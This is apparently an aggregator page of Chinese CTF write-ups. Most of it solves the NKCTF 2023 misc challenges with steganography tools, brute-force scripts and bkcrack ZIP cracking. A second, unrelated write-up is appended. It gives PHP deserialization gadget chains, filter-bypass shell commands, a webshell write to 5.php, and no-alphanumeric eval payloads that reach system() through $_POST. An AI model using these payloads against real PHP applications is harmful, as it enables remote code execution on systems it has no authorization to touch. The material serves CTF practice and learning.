NKCTF 2023-misc全解(有脚本,有详解)

Posted 路baby

tags:

篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了NKCTF 2023-misc全解(有脚本,有详解)相关的知识,希望对你有一定的参考价值。

目录

misc题目附件连接

前言

hard-misc

NKCTF2023问卷调查 

Blue

THMaster

easy_bmp

方法一

方法二

 三体

easy_rgb

方法一

 方法二 

easy_word

first spam of rabbit year

密文(记得去掉tip:47&13)

密钥

baby_music

Easymusic

 密码一

密码二

密码三

Easypic

加油各位( •̀ ω •́ )y 期待与君再相逢


misc题目附件连接

链接:https://pan.baidu.com/s/1Lnu3HwyGhU1Ba2EK7W9K_A?pwd=lulu 
提取码:lulu 
--来自百度网盘超级会员V3的分享

前言

前几天打了nkctf ,因为自己也是主打misc,顺便也复现一遍,

一点自己的拙见,各位师傅见笑了

感谢各位读者,对我的支持( •̀ ω •́ )y 有什么问题和建议可以私聊我

hard-misc

得到flag

NKCTFwtk2023Oo0oImcoM1Ng!23555647

NKCTF2023问卷调查 

Blue

下载附件 得到如下三个文件

 Vmdk  ovf格式 一看就是虚拟机格式

那我们第一反应肯定使用虚拟机VMaware打开

直接点击ovf文件直接挂载就可以了

挂载成功之后如上图

我会发现有两个登录用户

但是无论点击哪个都需要密码的

这时候这种方法就不可用了 我们要及时止损

经验丰富的人这时候会想到另外两种挂载方式

这里我就不一一展示了 我拿第一个举例DiskGenius

 

挂载之后 我们随便打开一个文件看看 会发现如下图提示

再找找

得到flag

NKCTFwE1come_to_NKCTF20233

THMaster

游戏题 不细讲

找东方wiki的修改器

 

thprac.v2.2.1.2.exe

进入练习模式前改分,进入

提示解密了,在replay看到了叫flag的记录

在文件里,用010打开,在文件末

easy_bmp

附件下载

 不用想就知道这个压缩包需要解压密码

 

果然 那后面的两个图片就是解压密码

一个height 一个width

很难不让人先想到一个高度,一个宽度

那就先把height.bmp先拖010里

 

直接改高度

保存得到下图

试了一下发现不行 那肯定是密码的一部分

接下来我们想办法恢复width.bmp的宽

这里如果在010里一个一个去试的话不好试

这里我们提供两种解法

方法一

宽要根据bmp性质算一下,因为是32位深,所以1589466/4/283=1404

所以图片的宽为1404 直接拖进010里改就行

方法二

我们直接上脚本(#爆破bmp的宽)

import struct
import zlib
f = open('misc31.bmp','rb')
c = f.read()
width = c[18:22]
height = c[22:26]
for i in range(900,1500):
    f1 = open('bpout'+str(i)+'.bmp','wb')
    img = c[:18]+struct.pack('>i',i)[::-1]+c[22:]
    f1.write(img)
    f1.close()

 最后无论那种方法都可以得到

总和得到密码

BMP_Height_width_easy

解压得到图片  还是一个bmp格式的

八成还是改长宽高

最简单的方法就是拖010里 自己调试

当然长宽均被设置为 1 的 bmp 图片,由于颜色通道是灰度而不是 RGB,数据大小为 129600 Bytes,于是将图片长宽均设置为 360 并保存

保存得到二维码

得到flag

NKCTFeab1291e-9e37-4ff1-b76d-f1af63eaad43

 三体

挺简单的题,不要想复杂

下载附件只有一张图片 图片挺大呀 看的我眼花

那就正常思路先走一下

010进一下 看一下格式

Stegsolve再进一下 看看有什么信息

但很遗憾没有什么特别的

那下一步怎么办

进kali 使用zsteg 一把梭

zsteg  三体.bmp -a  

这一看就知道了吧 明显是flag反过来了

先到出来

zsteg  -E 'b8,b,lsb,xY' 三体.bmp >1.txt

就直接使用string查看字符串 关键字

 

综合得到flag

NKCTF3d77dc1a37b2d1ebf489c973f554ea10

easy_rgb

下载附件 里面有连个压缩包

 

 Rgb需要密码 所以我们只能从key下手

打开key发现一堆散乱的图片碎片

那不用想 拼图

方法一

如果有Montage+gaps的环境

Montage+gaps拼图得到key

 montage *.png -tile 30x6 -geometry +0+0  flag_tmp.pnggaps --image flag_tmp.png  --size 125 --save#

说明一下参数

30x6和125#-tile:设置每行每列的原始图片数量,

30x6 表示拼图的宽30张 高6张,这个要结合gaps多尝试几种不同组合才能得到正确的尺寸。#--size: 这里每张图片为125像素

 

 方法二 

如果没Montage+gaps的环境也可以

我们仔细观察会发现只有几个图片里有 字符的

 我们就把他们单独挑出来 也不多

 最后在PS拼起来就可以了

得到密码

NKCTF2023

那我们继续

解压rgb.zip

里面有三个txt文件

rgb呀很熟悉呀  放一起看看

我们仔细观察

会发现他是把一个文件的RGB三个数值单独提取出来

所以我们要再把他们 合在一起

在010里创建个十六进制文本

我们按rgb的顺序一位一位的依次粘贴到010里

要么我们就使用脚本

# 读取字节
file1 = open("r.txt", "rb")
file2 = open("g.txt", "rb")
file3 = open("b.txt", "rb")

# 写入字节
p = open("decode.txt", "wb")

data = []

# 循环1669次,每次依文件顺序读取
for a in range(149):
    # 设定每次往后读取一个字节
    i = file1.read(1)
    data.append(i)

    i = file2.read(1)
    data.append(i)

    i = file3.read(1)
    data.append(i)

for i in data:
    p.write(i)

 得到原格式

然后复制

再010里粘贴自十六进制

保存为zip文件

得到一个flag.txt文件

 

压缩包末尾提示 AES-128

这是AES加密 加上之前得到的密钥

在线网站

AES在线加密解密工具 - MKLab在线工具AES在线工具,AES加密解密,AES在线解密,ECB,CBC,CTR,CFB,OFB模式,Pkcs7,Pkcs5,NoPadding,ZeroPadding填充,CryptoJS加解密,Cipher加解密https://www.mklab.cn/utils/aes

得到flag

NKCTF603fcdfc-652b-40e4-90cf-f27c2edc2d9f

easy_word

 压缩包里有文档 但文档加密

但有提示
小明这个笨蛋,给文档设置了一个密码,但是他自己却忘记了密码,他知道以下信息:

1.
密码是数学和小写英语的随机生成的

2.
hash函数:
输出大小 256 bits 内部大小 256 区块大小        512 长度大小 64 字符尺寸 32

3.
密码:h??vO??0 (?号部分为小明已经忘记的位置)
哈希:b75d1224 ... (后面不记得了...)

上脚本

import string
import hashlib
s = 'b75d1224'
chars = string.ascii_letters + string.digits  # 构造字符集
print (chars)
for i in chars:
    for j in chars:
        for k in chars:
            for n in chars:
                psw =  'h' + i + j + 'vO' + k + n + '0'
                sha256 = hashlib.sha256(psw.encode(encoding='utf-8')).hexdigest()
                if s ==sha256[0:8]:
                    print(psw)

得到 密码

h4evOF90

打开文档之后呀

假flag

 这样我们先关掉加密

 拖到010里查看格式

惊奇的发现是压缩包的格式

二话不说直接改后缀

 在里面找到了一个png的图片

KEY:Welcome_to_NKCTF

得到一个密钥

看来肯定是什么隐写

并且用 StegSolve 发现有 LSB 隐藏信息的痕迹

经过多次尝试 发现是cloacked-pixel

工具开源地址

GitHub - livz/cloacked-pixel: LSB steganography and detectionLSB steganography and detection. Contribute to livz/cloacked-pixel development by creating an account on GitHub.https://github.com/livz/cloacked-pixel

Python2 lsb.py extract image1.png out Welcome_to_NKCTF

运行得到flag

NKCTF dc0684dd-5a57-4d47-b9c0-debed0ef28b9

first spam of rabbit year

 里面只有一个txt文件   (做完之后才发现这个题才是套娃)

文本最后是 社会主义核心价值观编码

那就想从你下手

 rabbit 又 move

这看样子是个提示呀

接下来只能看看上面的字符了

根据题目提示想到了可能是垃圾邮件解密

在线网址

spammimic - decodespammimic - decodehttps://www.spammimic.com/decode.shtmlspammimic - decode

 

得到

与佛论禅

在线网站

https://tools.takuron.top/talk-with-buddha/   密码rabbit(上一个解码得出来的)

 &​​​​‍‎‏auD5​​​​‏‍​v'<)​​​​‏‍‌`h​​​​‎​‏dF6C_*'Jrcqzrh&ZaF>`g^​​​​‏‍‌Hr'vuHZJB​​​​‎​‏%~_H5?gu​​​​‌‏‏;q​​​​‍‏‌)"<rA?sH2IfafKfu=6w_tip:47&13

这一看就是0宽字符

在线网址

Unicode Steganography with Zero-Width Charactershttps://www.mzy0.com/ctftools/zerowidth1

解密得到key:EnoOoO1G

结合结尾的tip:47&13 应该是rot编码

密文是rot47处理,密钥是rot13处理,

rabbit即可

密文(记得去掉tip:47&13)

 U2FsdGVkX19L5uer0YVyC4BKC9U+2um18/wCVNGFw+yqTON0wdn8FjBXQkCpnLDwaLx727z7FleH0

密钥

RabBbB1T

最后使用rabbit解密

得到flag

NKCTFH4Ppy_tH3_Y34r_0f_R4BbBbbbB1tTtTtT

baby_music

 

里面只要音频

先拖进010里看一下格式

仔细观察会发现

2710和2711 出现这么多次

明显有明显规律

27作为分割,10 11出现

怀疑二进制,11是1 10是0

这就需要我们处理一下

上脚本

def bytes2hex(bytes):
    num = len(bytes)
    hexstr = u""
    for i in range(num):
        t = u"%x" % bytes[i]
        if len(t) % 2:
            hexstr += u""
        hexstr += t
    return hexstr.upper()


# 读取字节
file1 = open("flag.wav", "rb")

# 写入字节
p = open("flag1.txt", "wb")

data = []

for a in range(20000000):
    # 设定每次往后读取一个字节
    i = file1.read(2)
    i = bytes2hex(i)
    if i == '1027':
        data.append(b'0')
    elif i == '1127':
        data.append(b'1')
    elif i == '':
        break

for i in data:
    p.write(i)

运行

 

运行得到

二进制文本

在010里创建一个十六进制文本,复制刚刚运行得到的,粘贴自二进制

这一看就是一个压缩包的格式

保存加后缀zip

打开一看 还需要密码  但有提示

刚开始还以为还是二进制

后来感觉不像 尝试之后

 

发现是摩斯密码

0是.

1是-

保存到文本里

使用脚本转换一下

def read_file(filepath):
    with open(filepath) as fp:
        content=fp.read();
    return content

result = read_file('lu1.txt')

result = result.replace(r'0','.')
result = result.replace(r'1','-')

with open('lu2.txt', 'w') as f:
    f.write(result)

 最后再加上分隔符 / (手敲就可以了)

 解码

 WELCOMETONKCTF,THEPASSWORDIS16BYTESRANDOMLYGENERATED,ISTHEREABETTERWAYTOUNLOCKTHEZIP?

又是作者的一个小套路

但也是个提示

告诉我们是16位字符

因此肯定没法爆破(除非超强计算机才能在短时间破解)

但是在010里查看时发现zip里面是png,且算法符合明文攻击的前提,因此用bkcrack爆破密钥,得到flag.png:

先创一个png文件头的文件

构造明文头 16字节就可以了

bkcrack.exe -C 1.zip -c flag.png  -p flag.out

当然不构造文件头也可以 还快捷

就直接使用这个命令

bkcrack.exe -C 1.zip -c flag.png  -x 0 89504E470D0A1A0A0000000D49484452

 得到密钥

Keys: 846ad344 02327731 173ff347

然后爆破

bkcrack.exe -C 1.zip -c flag.png -k 846ad344 02327731 173ff347 -d flag1.png

得到图片 

就是flag

NKCTFYou_are_very_smart!!

Easymusic

 也是只有个音频

根据提示需要找到三个密码

 密码一

拖AU里

在音频最前端发现有规律的波形

根据规律就是二进制解密

高波位时1 低波位是0

01110000 01110011 01100100 01000001 00111010 00111000 00110011 00111001 00110111 00111001 00110011 00110110 00110111

因为说过密码是八位数

所以很容易想到ASCLL码

得到

psdA:83979367

密码二

还是在AU里

打开频谱图

 拖动滑轮

得到

PsdB:74208645

密码三

音频解码都试过了

那就先看看源文件格式

得到

psdC:01374890

拿到三个密码

接下就是解密

这里使用openpuff

打开openpuff  点击unhide

 输入三个密码 按顺序

 

 

 弹出之后

解密成功

打开保存目录

得到

NKCTF52d446a51c6896af878f872e0d748118

Easypic

 只有一张图片

 打开属性

39MB的大小

里面肯定有东西

直接分离

(之前我还使用kali分离结果什么都没有)

先脱进010里

会发现后面一大半都是另外的

所以提出来 保存

根据提示

我们使用veracrypt进行破译

保存1,

挂载1密钥文件为NBLOGO.png

 按照上面步骤挂载

 

弹出这个说明加载成功了

返回我的电脑 就会看见多出个磁盘

 打开 里面只有一张图片

原本准备进一步分析这张图片却发现   图片里隐隐约约可以看到一些东西

我果断打开ps

但怎么改才清晰呢

我又打开了010

在尾部发现了提示

566*566

打开ps 打开画布大小

 

 

得到flag

NKCTF49ce8740502743585C4a44404e62d8f9

加油各位( •̀ ω •́ )y 期待与君再相逢

2023 NKCTF

2023 NKCTF

打了一下 NKCTF 有几个不知道的点 把自己认为值得记录的题写一下

babyphp

<?php
    error_reporting(0);
    class Welcome
        public $name;
        public $arg = \'oww!man!!\';
        public function __construct()
            $this->name = \'ItS SO CREAZY\';
        
        public function __destruct()
            if($this->name == \'welcome_to_NKCTF\')
                echo $this->arg;
            
        
    

    function waf($string)
        if(preg_match(\'/f|l|a|g|\\*|\\?/i\', $string))
            die("you are bad");
        
    
    class Happy
        public $shell;
        public $cmd;
        public function __invoke()
            $shell = $this->shell;
            $cmd = $this->cmd;
            waf($cmd);
            eval($shell($cmd));
        
    
    class Hell0
        public $func;
        public function __toString()
            $function = $this->func;
            $function();
        
    

    if(isset($_GET[\'p\']))
        unserialize($_GET[\'p\']);
    else
        highlight_file(__FILE__);
    
?>

这里过滤了 f l a g ? *

解法一

这几个字符 这里我们可以直接 把 $shell 赋值为 urldecode 然后 把 $cmd 赋值为 system($_POST[0]);

<?php
error_reporting(0);
class Welcome
    public $name;
    public $arg = \'oww!man!!\';
    public function __construct()
        $this->name = \'ItS SO CREAZY\';
    
    public function __destruct()
        if($this->name == \'welcome_to_NKCTF\')
            echo $this->arg;
        
    


function waf($string)
    if(preg_match(\'/f|l|a|g|\\*|\\?/i\', $string))
        die("you are bad");
    

class Happy
    public $shell;
    public $cmd;
    public function __invoke()
//        phpinfo();
        $shell = $this->shell;
        $cmd = $this->cmd;
        waf($cmd);
        eval($shell($cmd));
    

class Hell0
    public $func;
    public function __toString()
//        phpinfo();
        $function = $this->func;
        $function();
    


$Welcome=new Welcome();
$Welcome->name=\'welcome_to_NKCTF\';
$Hell0=new Hell0();
$Happy=new Happy();
$Happy->shell="urldecode";
$Happy->cmd="system(\\$_POST[0]);";
$Hell0->func=$Happy;
$Welcome->arg=$Hell0;

echo serialize($Welcome);
//unserialize(\'O:7:"Welcome":2:s:4:"name";s:16:"welcome_to_NKCTF";s:3:"arg";O:5:"Hell0":1:s:4:"func";N;\');

解法二

还有一种方法是

$Happy->shell="system";
$Happy->cmd="cd /;`more dir`";

解法三

使用 sed 命令 sed 有个新增命令 sed -e 4a\\xxxxxx xxxxx为要新增的内容 4a 是要在第四行 进行插入

但是 4a这里是由a的 所以不可以 但是可以用

sed -n \'1,38p\' index.php > 5.php 然后这里再用 追加写入 >> 来写 system($_POST[0]);

<?php
error_reporting(0);
class Welcome
    public $name;
    public $arg = \'oww!man!!\';
    public function __construct()
        $this->name = \'ItS SO CREAZY\';
    
    public function __destruct()
        if($this->name == \'welcome_to_NKCTF\')
            echo $this->arg;
        
    


function waf($string)
    if(preg_match(\'/f|l|a|g|\\*|\\?/i\', $string))
        die("you are bad");
    

class Happy
    public $shell;
    public $cmd;
    public function __invoke()
//        phpinfo();
        $shell = $this->shell;
        $cmd = $this->cmd;
        waf($cmd);
        eval($shell($cmd));
    

class Hell0
    public $func;
    public function __toString()
//        phpinfo();
        $function = $this->func;
        $function();
    


$Welcome=new Welcome();
$Welcome->name=\'welcome_to_NKCTF\';
$Hell0=new Hell0();
$Happy=new Happy();
$Happy->shell="system";
//$Happy->cmd="sed -n \'1,38p\' index.php > 5.php";
$Happy->cmd="echo \'system(\\$_POST[0]);\' >> 5.php";
$Hell0->func=$Happy;
$Welcome->arg=$Hell0;

echo serialize($Welcome);
//unserialize(\'O:7:"Welcome":2:s:4:"name";s:16:"welcome_to_NKCTF";s:3:"arg";O:5:"Hell0":1:s:4:"func";N;\');

解法四

这种解法是在p牛的文章里面提到过

linux 中的 通配符不止只有 * 和 ?还有一种类似于正则的通配符 [!q] 这里代表匹配非q字符

<?php
error_reporting(0);
class Welcome
    public $name;
    public $arg = \'oww!man!!\';
    public function __construct()
        $this->name = \'ItS SO CREAZY\';
    
    public function __destruct()
        if($this->name == \'welcome_to_NKCTF\')
            echo $this->arg;
        
    


function waf($string)
    if(preg_match(\'/f|l|a|g|\\*|\\?/i\', $string))
        die("you are bad");
    

class Happy
    public $shell;
    public $cmd;
    public function __invoke()
//        phpinfo();
        $shell = $this->shell;
        $cmd = $this->cmd;
        waf($cmd);
        eval($shell($cmd));
    

class Hell0
    public $func;
    public function __toString()
//        phpinfo();
        $function = $this->func;
        $function();
    


$Welcome=new Welcome();
$Welcome->name=\'welcome_to_NKCTF\';
$Hell0=new Hell0();
$Happy=new Happy();
$Happy->shell="system";
//$Happy->cmd="sed -n \'1,38p\' index.php > 5.php";
$Happy->cmd="more /[!q][!q][!q][!q]";
$Hell0->func=$Happy;
$Welcome->arg=$Hell0;

echo serialize($Welcome);
//unserialize(\'O:7:"Welcome":2:s:4:"name";s:16:"welcome_to_NKCTF";s:3:"arg";O:5:"Hell0":1:s:4:"func";N;\');

hardphp

<?php
// not only ++
error_reporting(0);
highlight_file(__FILE__);

if (isset($_POST[\'NKCTF\'])) 
    $NK = $_POST[\'NKCTF\'];
    if (is_string($NK)) 
        if (!preg_match("/[a-zA-Z0-9@#%^&*:\\-<\\?>\\"|`~\\\\\\\\]/",$NK) && strlen($NK) < 105)
            eval($NK);
        else
            echo("hacker!!!");
        
    else
        phpinfo();
    

?>

经典的 无数字字母 rce

通过 ctfshow 的rce大挑战来总结一下

rce1

<?php
 
error_reporting(0);
highlight_file(__FILE__);
 
$code = $_POST[\'code\'];
 
$code = str_replace("(","括号",$code);
 
$code = str_replace(".","点",$code);
 
eval($code);
 
?>

这里把 ( . 过滤掉了 然后 可以用php中的反引号来执行系统命令

这里要先闭合 之前的php标签 在使用 php短标签 当然也可以使用echo dir;

rce2

<?php
//本题灵感来自研究Y4tacker佬在吃瓜杯投稿的shellme时想到的姿势,太棒啦~。
error_reporting(0);
highlight_file(__FILE__);

if (isset($_POST[\'ctf_show\'])) 
    $ctfshow = $_POST[\'ctf_show\'];
    if (is_string($ctfshow)) 
        if (!preg_match("/[a-zA-Z0-9@#%^&*:\\-<\\?>\\"|`~\\\\\\\\]/",$ctfshow))
            eval($ctfshow);
        else
            echo("Are you hacking me AGAIN?");
        
    else
        phpinfo();
    

?>

就跟我们平常使用的paylaod

<?php
$_=[].[];
$_=$_[\'\'];
$_++;
$_++;
$_++;
$_++;
$__=$_;
$_++;
$_++;
$__=$_.$__;
$_++;
$_++;
$_++;
$_++;
$_++;
$_++;
$_++;
$_++;
$_++;
$_++;
$_++;
$_++;
$_++;
$__=$__.$_;
$\'_\'.$__[_]($\'_\'.$__[__]);

构造出GET 然后拼接 $ 和 _ 得到 $GET(_)($GET[__]); 用到不同的是 它禁用了

所有我们就不能通过这种 $ _ GET 拼接的方式了 这里不使用 的话还用 另一种拼接方式

_GET 然后再前面直接加$ 就可以得到$GET 然后拼接[_]

然后用 () 包裹住 实例

($$___[_])($$___[__]);

完整的poc

<?php
$_=[].[];$__=\'\';
$_=$_[\'\'];
$_=++$_;
$_=++$_;
$_=++$_;
$_=++$_;
$__.=$_;
$_=++$_;
$_=++$_;
$__=$_.$__;
$_=++$_;
$_=++$_;
$_=++$_;
$_=++$_;
$_=++$_;
$_=++$_;
$_=++$_;
$_=++$_;
$_=++$_;
$_=++$_;
$_=++$_;
$_=++$_;
$_=++$_;
$__.=$_;
$___=\'_\';
$___.=$__;
($$___[_])($$___[__]);

总结一下 如果没有 的话就可以 先 拼接出_GET 然后直接加$ 就可以了 要 url编码传过去

rce3

<?php
//本题灵感来自研究Y4tacker佬在吃瓜杯投稿的shellme时想到的姿势,太棒啦~。
error_reporting(0);
highlight_file(__FILE__);
 
if (isset($_POST[\'ctf_show\'])) 
    $ctfshow = $_POST[\'ctf_show\'];
    if (is_string($ctfshow) && strlen($ctfshow) <= 105) 
        if (!preg_match("/[a-zA-Z2-9!\'@#%^&*:\\-<\\?>\\"|`~\\\\\\\\]/",$ctfshow))
            eval($ctfshow);
        else
            echo("Are you hacking me AGAIN?");
        
    else
        phpinfo();
    

?>

这次加了 长度限制 然后又 过滤了 更多的字符

$ ( ) + , . / 0 1 ; = [ ] _  

过滤了 引号 那如何 获取 A 字符呢 但是这里我们可以使用 01 了

这里可以使用 0 和1 先 看几个知识点

php在进行计算的时候 认为结果是无限大的时候他会返回结果是INF (infinite)

举例 echo (1/0) 就会输出INF

PHP进行计算的时候认为一个数超出Infinite,那就是: NAN( not-a-number)
这里举个例:echo (a/a); 就会输出NAN

因为这里有允许我们使用01 所以我们可以使用 01 来取上面的东西

这里直接取的话 会返回空 这里可以拼接一个 A就可以 取出来了

取出N的话就可以直接用POST来执行了

<?php
$_=([].[])[0];
$_=($_/$_)[0];
$_=($_/$_.$_)[0];
$_++;
$__=$_.$_++;
$_++;
$_++;
$_++;
$_=_.$__.$_.++$_;
$$_[_]($$_[1]);
<?php
$_=([].[])[0];$_=($_/$_.$_)[0];$_++;$__=$_.$_++;$_++;$_++;$_++;$_=_.$__.$_.++$_;$$_[_]($$_[1]);

rce4

<?php
//本题灵感来自研究Y4tacker佬在吃瓜杯投稿的shellme时想到的姿势,太棒啦~。
error_reporting(0);
highlight_file(__FILE__);
 
if (isset($_POST[\'ctf_show\'])) 
    $ctfshow = $_POST[\'ctf_show\'];
    if (is_string($ctfshow) && strlen($ctfshow) <= 84) 
        if (!preg_match("/[a-zA-Z1-9!\'@#%^&*:\\-<\\?>\\"|`~\\\\\\\\]/",$ctfshow))
            eval($ctfshow);
        else
            echo("Are you hacking me AGAIN?");
        
    else
        phpinfo();
    

?>

先看过滤

$ ( ) + , . / 0 ; = [ ] _

并且限制了 84个字符

<?php
$_=((0/0).[])[0];
$_++; //O
$__=$_.$_++; // $__=PO, 其实这里才是第五题的关键嘿嘿,很多74的就是卡在这
$_++; // Q
$_++; // R
$_++; // S
$$_[_]($$_[0]); // $_POST[_]($_POST[0]);

rce5


 <?php
//本题灵感来自研究Y4tacker佬在吃瓜杯投稿的shellme时想到的姿势,太棒啦~。
error_reporting(0);
highlight_file(__FILE__);
 
if (isset($_POST[\'ctf_show\'])) 
    $ctfshow = $_POST[\'ctf_show\'];
    if (is_string($ctfshow) && strlen($ctfshow) <= 73) 
        if (!preg_match("/[a-zA-Z0-9!\'@#%^&*:\\-<\\?>\\"|`~\\\\\\\\]/",$ctfshow))
            eval($ctfshow);
        else
            echo("Are you hacking me AGAIN?");
        
    else
        phpinfo();
    

?>
   $ ( ) + , . / ; = [ ] _ 

限制 73位

这里就用了一些特殊字符了 因为用 __ 会 多几个字符 这里可以使用 不可见字符

$_=(_/_._)[_];$_%2B%2B;$%FA=$_.$_%2B%2B;$_%2B%2B;$_%2B%2B;$_=_.$%FA.%2B%2B$_.%2B%2B$_;$$_[_]($$_[%FA]);&_=system&%FA=whoami
<?php
$_=(_/_._)[_];
$_++;
$%FA=$_.$_++; //这里为PO
$_++;$_++;
$_=_.$%FA.++$_.++$_;
$$_[_]($$_[%FA]);
这个已经完全看不懂了
<?PHP
$_=_(%FA.%FA)[_];//N  //本地使用就用(_._._)[_],或者安装了一个扩展gettext
$%FA=++$_;//O
$$%FA[$%FA=_.++$_.$%FA[$_++/$_++].++$_.++$_]($$%FA[_]); //$_POST[_POST]($_POST[_])
//将拼接放到同一行,真的太厉害了,我只能感叹一句nb

以上是关于NKCTF 2023-misc全解(有脚本,有详解)的主要内容,如果未能解决你的问题,请参考以下文章

unity中常用脚本生命周期全解

2023 NKCTF

2023 NKCTF

技术指南centos7下systemd服务管理全解

NKCTF 2023 Writeup By AheadSec

Cookie 和 Storage API 区别与详解